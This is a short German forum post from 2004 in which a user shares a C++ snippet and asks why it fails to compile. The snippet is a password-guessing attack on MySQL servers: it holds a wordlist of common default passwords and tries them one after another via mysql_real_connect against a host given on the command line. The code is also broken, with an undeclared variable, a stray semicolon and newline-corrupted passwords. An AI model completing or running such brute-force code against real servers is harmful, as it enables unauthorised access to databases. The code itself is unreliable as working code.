002
25.09.2004, 18:06 Uhr
~jens
Gast
|
C++: |
{ char puffer[100]; char tmpr[50]; static const char *pw[] = {"NULL","forme","root","123","1234","12345","123456","1234567","12345678","123456789","1234567890","su1234567890","r00t","admin","pass","password","password","ownd","secured","gesichert","rooted","blubb","blubi","blubbi","rocks","werock","neverdie","hacked","sploited","helga","hilde","mama","mum","london","london41","luna","forme","NULL","NULL","NULL","NULL","NULL","NULL","NULL"}; int found = 0; int d=0; for(d=0; d<5; d++) { strncpy(tmpr, pw[d],50); sprintf(puffer,"%s\n",tmpr); puts(puffer); if (!mysql_real_connect(&mysql,argv[1],username,puffer,database,0,NULL,0)); if(passwortstimmt){ printf (" ... jop"); found = 1; break;
} }
|
denke der anstzt ist richtig aber nun sagt er Dc++3\c++\sploit\Cpp1.cpp(148) : error C2065: 'passwortstimmt' : undeclared identifier
:C |